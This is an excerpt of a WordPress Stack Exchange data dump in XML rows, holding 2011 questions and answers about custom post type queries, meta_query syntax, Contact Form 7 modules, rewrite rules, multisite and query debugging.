  <row Id="26481" PostTypeId="1" CreationDate="2011-08-20T18:05:37.427" Score="0" ViewCount="11" Body="&lt;p&gt;I had this problem lately with wordpress.&#xA;For a friend of mine I'm making a website. (he makes movies and edits them)&#xA;And with contuse video gallery plugin i've stetted up a video gallery in which i can put his movies. However the thumbnails of the movies aren't redirecting you to the real movie. It gives me that error Not Found. But on the video's page its working! So it seems the thumbnail doesn't have a link to the movie itself. The movie is added via a youtube link. The site is for now blog.bokeijmel.nl under the page Movie's&lt;/p&gt;&#xA;" LastActivityDate="2011-08-21T18:11:58.060" Title="Contus videogallery thumbnail doesn't redirect to movie" Tags="&lt;plugins&gt;" />
  <row Id="26482" PostTypeId="1" AcceptedAnswerId="26485" CreationDate="2011-08-21T18:15:00.300" Score="1" ViewCount="53" Body="&lt;p&gt;I have a custom post type &lt;code&gt;announcements&lt;/code&gt; which obviously holds posts with weekly announcements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my theme's header, I want to create a box which has the following semantics:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;header-announcements&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Announcements&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;post-permalink&quot;&amp;gt;Title&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;post-permalink&quot;&amp;gt;Title&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;post-permalink&quot;&amp;gt;Title&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;post-permalink&quot;&amp;gt;Title&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;post-permalink&quot;&amp;gt;Title&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;View More&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I want to use &lt;code&gt;wp_query()&lt;/code&gt; and I've found that I should do something similar to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ann-query = wp_query('post_type=announcements&amp;amp;posts_per_page=5');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I need to do a foreach, but I haven't dived deep enough into wordpress to know what to do after the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-08-22T04:08:25.550" Title="Grab 5 latest posts from custom post type 'announcements'" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26483" PostTypeId="2" ParentId="26482" CreationDate="2011-08-21T19:09:43.340" Score="0" ViewCount="" Body="&lt;p&gt;You will need to use a foreach loop since you this query give an array of objects, inside this loop you can use the properties of these objects for show the data. By example you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$object-&gt;post_title, $object-&gt;post_content, $object-&gt;url&lt;/p&gt;&#xA;" OwnerUserId="8078" LastActivityDate="2011-08-21T19:09:43.340" />
  <row Id="26484" PostTypeId="1" CreationDate="2011-08-21T19:17:19.847" Score="1" ViewCount="24" Body="&lt;p&gt;I am trying to create a Archive page with a list of all my posts with thumbnail and a small excerpt underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;kind of like what this guys is doing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.globinch.com/2010/11/01/how-to-create-wordpress-thumbnail-based-post-archives/comment-page-1/#comment-36825&quot; rel=&quot;nofollow&quot;&gt;http://www.globinch.com/2010/11/01/how-to-create-wordpress-thumbnail-based-post-archives/comment-page-1/#comment-36825&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually followed his method and found out after some screwing around that he is calling thumbs with custom field thumb value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to pull the thumbs from my featured thumbnails images as I dont want to go into every post and add a thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so basically&#xA;1. Create a thumbnail list like u see in that dudes link&#xA;2. Be able to size the thumnbnails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts, take in mind I am not a programming genous:)&lt;/p&gt;&#xA;" OwnerUserId="8082" LastActivityDate="2011-08-23T22:08:17.813" Title="Archive Thumbnail Gallery" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="26485" PostTypeId="2" ParentId="26482" CreationDate="2011-08-21T19:19:40.313" Score="1" ViewCount="" Body="&lt;p&gt;The following should work, but isn't tested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;header-announcements&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Announcements&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php&#xA;$queryObject = new WP_Query( 'post_type=announcements&amp;amp;posts_per_page=5' );&#xA;// The Loop!&#xA;if ($queryObject-&amp;gt;have_posts()) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php&#xA;    while ($queryObject-&amp;gt;have_posts()) {&#xA;        $queryObject-&amp;gt;the_post();&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;View More&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="7457" LastEditorDisplayName="" LastEditDate="2011-08-22T04:08:25.550" LastActivityDate="2011-08-22T04:08:25.550" CommentCount="2" />
  <row Id="26486" PostTypeId="2" ParentId="26463" CreationDate="2011-08-21T19:32:52.330" Score="0" ViewCount="" Body="&lt;p&gt;You can easily connect to another DB using the &lt;code&gt;wpdb&lt;/code&gt; class: &lt;code&gt;$external_users_db = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);&lt;/code&gt; (substituting in your applicable values, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you can use the &lt;code&gt;get_results&lt;/code&gt;, &lt;code&gt;insert&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, and &lt;code&gt;query&lt;/code&gt; methods (among others) to do what you need to do, e.g. &lt;code&gt;$external_users_db-&amp;gt;get_results( &quot;SELECT ID, username FROM users&quot; );&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Codex has pretty thorough information: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/wpdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-21T19:32:52.330" CommentCount="2" />
  <row Id="26487" PostTypeId="2" ParentId="26468" CreationDate="2011-08-21T19:33:19.427" Score="1" ViewCount="" Body="&lt;p&gt;To answer the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The plugin generated 149 characters of unexpected output during activation. If you notice “headers already sent” messages, problems with syndication feeds or other issues, try deactivating or removing this plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Every &lt;code&gt;echo&lt;/code&gt; statement will bring this up. Normally it's just the count of characters you &lt;code&gt;echo&lt;/code&gt;-ed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/25910/uninstall-activate-deactivate-a-plugin-typical-features-how-to/25979#25979&quot;&gt;Here&lt;/a&gt; is a link to my uninstall/activation/deactivation (plain/vanilla) class for plugins. You can take a look at how I output errors into admin_notices to inspect behavior. You could try it with &lt;code&gt;$this-&amp;gt;error( &quot;DB-Error: {$wpdb-&amp;gt;last_error}&quot;, true );&lt;/code&gt; (or take a look at the wpdb core file, I might be wrong with the object var) to see what's happening after the dbDelta call. Anyway: Don't echo and you won't get the notice/error/unexpected character &amp;amp; header sent message.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-22T15:15:19.033" LastActivityDate="2011-08-22T15:15:19.033" CommentCount="2" />
  <row Id="26488" PostTypeId="2" ParentId="25935" CreationDate="2011-08-21T19:45:20.417" Score="0" ViewCount="" Body="&lt;p&gt;To get a value of a single custom field use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $post_id = $post-&amp;gt;ID;&#xA;    $key = 'value';  // change value to what custom field you are looking for&#xA;    // To retrieve only the first value of given key&#xA;    $customfield = get_post_meta($post_id, $key, 'true');&#xA;    // To use as default&#xA;    $customfield = get_post_meta($post_id, $key);&#xA;    // Then check what you got&#xA;    if($customfield)&#xA;?&amp;gt;&#xA;    &amp;lt;img class=&quot;thumb&quot; src=&quot;&amp;lt;?php echo get_post_meta($post_id, $key, true) ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;    else&#xA;&#xA;    echo 'whatever you want to show by default';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For further reading goto &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you&lt;/p&gt;&#xA;" OwnerUserId="7338" LastActivityDate="2011-08-21T19:45:20.417" />
  <row Id="26489" PostTypeId="1" CreationDate="2011-08-21T19:45:57.227" Score="1" ViewCount="64" Body="&lt;p&gt;I'm trying to use wp_insert_post to create a front-end submission form so visitors can create a post AND update the meta box fields of that post -- &lt;strong&gt;not the custom fields&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I use the following in the submission form...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php update_post_meta($post_id, $meta_key, $meta_value); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...it updates the built-in custom field section of the newly created post, but not the meta boxes that I created. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8084" LastActivityDate="2011-08-21T22:31:04.557" Title="How to use wp_insert_post to update meta box?" Tags="&lt;wp-insert-post&gt;&lt;update-post-meta&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="26491" PostTypeId="1" AcceptedAnswerId="26495" CreationDate="2011-08-21T20:35:34.867" Score="0" ViewCount="21" Body="&lt;p&gt;I know I can use &lt;code&gt;get_num_queries()&lt;/code&gt; for the number of queries. However, how can I see what queries Wordpress actually makes? I've tried using $query but that didn't work.&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-08-21T22:04:16.253" Title="view queries made?" Tags="&lt;wp-query&gt;&lt;query&gt;" AnswerCount="2" />
  <row Id="26492" PostTypeId="1" AcceptedAnswerId="26496" CreationDate="2011-08-21T20:42:04.243" Score="0" ViewCount="16" Body="&lt;p&gt;I've got the following loop on my index.php template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;new_on&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php &#xA;            $args = array( &#xA;                'meta_query' =&amp;gt; array(&#xA;                    'meta_key' =&amp;gt; 'is_url', &#xA;                    'meta_value' =&amp;gt; 'yes', &#xA;                    'meta_compare' =&amp;gt; 'NOT LIKE'&#xA;                ),&#xA;            );&#xA;&#xA;            $main_query = new WP_Query( $args );&#xA;            while ( $main_query-&amp;gt;have_posts() ) : $main_query-&amp;gt;the_post();&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;clearfix smalltext&quot;&amp;gt;&amp;lt;span class=&quot;left&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_author_link(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;right&quot;&amp;gt;&amp;lt;?php echo the_time(); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; wp_reset_postdata(); ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query should return all posts that do not have the custom field 'is_url' set to 'yes'. It is returning all posts, regardless of the value of is_url. I usually use Custom Post Types for this sort of thing, so I haven't used the meta_query too extensively. Anybody know what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2011-08-21T21:10:12.120" Title="WP_Query not returning correct result with meta_query parameter" Tags="&lt;wp-query&gt;&lt;loop&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="26493" PostTypeId="1" AcceptedAnswerId="26501" CreationDate="2011-08-21T20:45:53.110" Score="0" ViewCount="17" Body="&lt;p&gt;I am using a custom post type name &lt;code&gt;venue&lt;/code&gt; and I am using a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; dropdown on one of the contact form by loading up a custom module in CF7 but when the form is submitted, my data shortcode is not replaced with the data filled by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just see this &lt;code&gt;[selected-venue]&lt;/code&gt;. Here is my code for custom module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;wpcf7_add_shortcode( 'party-venue', 'wpcf7_venue_shortcode_handler', true );&#xA;&#xA;function wpcf7_venue_shortcode_handler( $tag ) {&#xA;&#xA;    global $wpdb;&#xA;&#xA;    $query = &quot;SELECT post_title FROM {$wpdb-&amp;gt;posts} where post_type = 'venue' and post_status = 'publish';&quot;;&#xA;&#xA;    $result = $wpdb-&amp;gt;get_col( $query );&#xA;&#xA;    if ( $result ) {&#xA;        $output = '&amp;lt;select name=&quot;contact_venue&quot; id=&quot;contact_venue&quot; class=&quot;input-select&quot;&amp;gt;';&#xA;        $output.= '&amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;';&#xA;        foreach ( $result as $venue ) {&#xA;            $output.= '&amp;lt;option value=&quot;'.$venue.'&quot;&amp;gt;'.$venue.'&amp;lt;/option&amp;gt;';&#xA;        }&#xA;        $output.= '&amp;lt;/select&amp;gt;';&#xA;    }&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My contact form's code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;contact_name&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;name&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please enter your full name&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[text* your-name class:input-textarea] &#xA;&amp;lt;label for=&quot;contact_email&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;email&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please enter a valid email address&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[email* your-email class:input-textarea]&#xA;&amp;lt;label for=&quot;contact_phone&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;phone&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please enter a phone number to reach you at&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[text phone class:input-textarea]&#xA;&amp;lt;label for=&quot;contact_friends&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;party size&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;*Min 50 guests for free bottle, 15 guests for buy 1 bottle get 1 free*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[text party-size class:input-textarea] &amp;lt;/p&amp;gt;&#xA;&amp;lt;label for=&quot;contact_venue&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;venue&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please select your party venue&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[party-venue selected-venue id:contact_venue]&#xA;&amp;lt;label for=&quot;contact_date&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;date&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please enter your party date (mm/dd/yy)&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[text date id:contact_date class:input-textarea]&#xA;&amp;lt;label for=&quot;referal_source&quot;&amp;gt;&amp;lt;span class=&quot;large_contact&quot;&amp;gt;How did you hear about us?&amp;lt;/span&amp;gt;&amp;lt;span class=&quot;small_contact&quot;&amp;gt;Please select one of the options&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;[select menu-367 class:input-select &quot;&quot; &quot;CitySearch&quot; &quot;Facebook&quot; &quot;Facebook Ad&quot; &quot;Friend&quot; &quot;Google Search&quot; &quot;NYC Daily Deals&quot; &quot;Yelp&quot;]&#xA;&#xA;[submit class:input-submit]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is my message body:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;From: [your-name] &amp;lt;[your-email]&amp;gt;&#xA;Subject: Book a party!&#xA;&#xA;Message Body:&#xA;Phone: [phone], &#xA;Party Size: [party-size], &#xA;Venue: [selected-venue], &#xA;Date: [date]&#xA;How did you hear about us: [menu-367]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I get the email on form submission, &lt;code&gt;[selected-venue]&lt;/code&gt; is not replaced with the actual value of the select dropdown. What I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-21T22:15:56.490" Title="Contact Form 7 Custom module" Tags="&lt;contact-form-7&gt;" AnswerCount="1" />
  <row Id="26494" PostTypeId="2" ParentId="26489" CreationDate="2011-08-21T20:46:56.357" Score="1" ViewCount="" Body="&lt;p&gt;It's all going into the same table, you're possibly not using the correct key name to insert it. The only thing that differentiates custom field keys and keys used for metaboxes is that metabox keys are typically prefixed with an underscore to hide them from the list that shows up in the custom fields section. it's also possible to store multiple things as an array under a single entry. that may be the case if you're using a metabox helper class of some sort to generate the metaboxes. look directly in the table to see how your metabox data is being stored.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-21T20:46:56.357" />
  <row Id="26495" PostTypeId="2" ParentId="26491" CreationDate="2011-08-21T20:56:43.057" Score="3" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Save_queries_for_analysis&quot; rel=&quot;nofollow&quot;&gt;this codex page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('SAVEQUERIES', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (current_user_can('administrator')){&#xA;    global $wpdb;&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;    print_r($wpdb-&amp;gt;queries);&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or without the above &lt;code&gt;SAVEQUERIES&lt;/code&gt;, you can still see just the main query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;echo $wp_query-&amp;gt;request;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or to see all of &lt;code&gt;$wp_query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;    &amp;lt;?php print_r($wp_query); ?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-21T20:56:43.057" CommentCount="1" />
  <row Id="26496" PostTypeId="2" ParentId="26492" CreationDate="2011-08-21T21:10:12.120" Score="1" ViewCount="" Body="&lt;p&gt;I think you're using wrong keys for &lt;code&gt;meta_query&lt;/code&gt; array, also it expects nested arrays, even if you only have one query. Code below should help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $args = array( &#xA;            'meta_query' =&amp;gt; array(&#xA;                array(&#xA;                    'key' =&amp;gt; 'is_url', &#xA;                    'value' =&amp;gt; 'yes', &#xA;                    'compare' =&amp;gt; 'NOT LIKE'&#xA;                )&#xA;            ),&#xA;        );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-21T21:10:12.120" CommentCount="1" />
  <row Id="26497" PostTypeId="1" CreationDate="2011-08-21T21:35:54.490" Score="3" ViewCount="67" Body="&lt;p&gt;I have successfully added a custom post type and the permalink structure works great.  So, for instance, I've got a custom post type &lt;code&gt;books&lt;/code&gt;, and the permalink to a book is &lt;code&gt;/books/the-dictionary&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;single-book.php&lt;/code&gt; page template accepts a &lt;code&gt;letter&lt;/code&gt; parameter to customize the content displayed on the page.  I'd like to be able to link to this like &lt;code&gt;/book/the-dictionary/q&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added the following to my theme's functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_init() {&#xA;    add_books_rewrite();&#xA;&#xA;function add_books_rewrite() {&#xA;    add_rewrite_rule(&quot;books/([^/]+)/([^/])/?$&quot;, 'index.php?pagename=$matches[1]&amp;amp;letter=$matches[2]', &quot;top&quot;);&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;function add_books_query_vars($query_vars) {&#xA;    $query_vars[] = &quot;letter&quot;;&#xA;    return $query_vars;&#xA;}&#xA;add_filter(&quot;init&quot;, &quot;my_init&quot;);&#xA;add_filter(&quot;query_vars&quot;, &quot;add_books_query_vars&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It took a few tries with using the flushing code above, manually going to the permalink settings page and saving, and fixing stupid errors in the regex, but eventually I was able to verify that the rewrite was added correctly by using &lt;a href=&quot;http://wordpress.stackexchange.com/users/8/jan-fabry&quot;&gt;Jan Fabry's&lt;/a&gt; fabulous &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;rewrite analyzer plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/GFYM8.png&quot; alt=&quot;confirmed in rewrite analyzer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, from here I think it's smooth sailing, right?  Yeah...not exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load up my site and go to &lt;code&gt;books/the-dictionary/q&lt;/code&gt;, it does load &lt;code&gt;the-dictionary&lt;/code&gt; content correctly, but it is losing the parameter.  The thing that I find interesting is that if I load &lt;code&gt;index.php?pagename=the-dictionary&amp;amp;letter=q&lt;/code&gt;, everything works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retrieve the parameter, I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $letter;&#xA;echo $letter. &quot; - global&quot;;&#xA;echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;$current_letter = (isset($wp_query-&amp;gt;query_vars[&quot;letter&quot;]) ? $wp_query-&amp;gt;query_vars[&quot;letter&quot;] : &quot;all&quot;);&#xA;echo $current_letter . &quot; - query_vars&quot;;&#xA;echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also been looking at &lt;code&gt;$_SERVER[&quot;QUERY_STRING&quot;]&lt;/code&gt;.  These are populated when I use &lt;code&gt;index.php?pagename...&amp;amp;letter...&lt;/code&gt;, but not when I use &lt;code&gt;/books/pagename/letter&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it seems like a few things are happening here.  WordPress isn't completely dropping the parameter since things work if I specify index.php with the appropriate querystring variables.  This seems to indicate the rewrite rule isn't working correctly.  However, the Rewrite Analyzer plugin seems to say things are set up properly for what I'm going for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused at what I should be looking at here to fix the disconnect.  Sorry if I'm missing something obvious. ):&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditorDisplayName="" LastEditDate="2011-08-22T14:46:15.050" LastActivityDate="2011-08-22T14:52:52.997" Title="Querystring parameter getting lost in rewrite rule" Tags="&lt;rewrite-rules&gt;&lt;query-string&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26498" PostTypeId="1" AcceptedAnswerId="26504" CreationDate="2011-08-21T21:57:08.107" Score="0" ViewCount="25" Body="&lt;p&gt;I'm creating a Wordpress site for a client. In the future, my client would like to have a second site that uses Wordpress as well. Ideally, we'd like people that have accounts on the first site to be able to use that same account on the second site. Is this something that can be achieved with Wordpress Multisite? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kickers is that each site would need to have it's own domain. For example, &lt;a href=&quot;http://www.firstblog.com&quot; rel=&quot;nofollow&quot;&gt;http://www.firstblog.com&lt;/a&gt; and &lt;a href=&quot;http://www.secondblog.com&quot; rel=&quot;nofollow&quot;&gt;http://www.secondblog.com&lt;/a&gt; would be two different sites sharing the same user accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7298" LastActivityDate="2011-08-21T22:34:08.913" Title="Wordpress Multisite - Can 2 domains share a database of users?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="26499" PostTypeId="1" AcceptedAnswerId="26512" CreationDate="2011-08-21T22:02:23.347" Score="1" ViewCount="26" Body="&lt;p&gt;I'm building a plugin that requires its own set of admin pages. I know how to create the top-level link and how to add sub-menus to it. However, what seems to happen is when I create the top-level link, it also automatically adds a submenu page of the same name if I add another submenu page to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm simply looking for a way to change the name of my first submenu page so that it is different from the parent name. (i.e. in the admin panel, expanding the &quot;Links&quot; menu shows an &quot;All Links&quot; submenu page. Mine would instead say &quot;Links&quot; on top and then &quot;Links&quot; instead of &quot;All Links&quot;)&lt;/p&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2011-08-22T00:10:53.713" Title="Naming Admin Menus and Submenus" Tags="&lt;plugin-development&gt;&lt;admin-menu&gt;" AnswerCount="1" />
  <row Id="26500" PostTypeId="2" ParentId="26491" CreationDate="2011-08-21T22:04:16.253" Score="0" ViewCount="" Body="&lt;p&gt;Milo's answer is right on. I would add that to save you some trouble, download the &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-bar/&quot; rel=&quot;nofollow&quot;&gt;WordPress Debug Bar&lt;/a&gt; plugin. This plugin will add a little bar to the bottom of your front end pages and it will capture important debugging information, including queries made during the request. For it to work you need to make sure that the constants &lt;code&gt;WP_DEBUG&lt;/code&gt; and &lt;code&gt;SAVE_QUERIES&lt;/code&gt; are set to true in your wp-config.php file.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-21T22:04:16.253" />
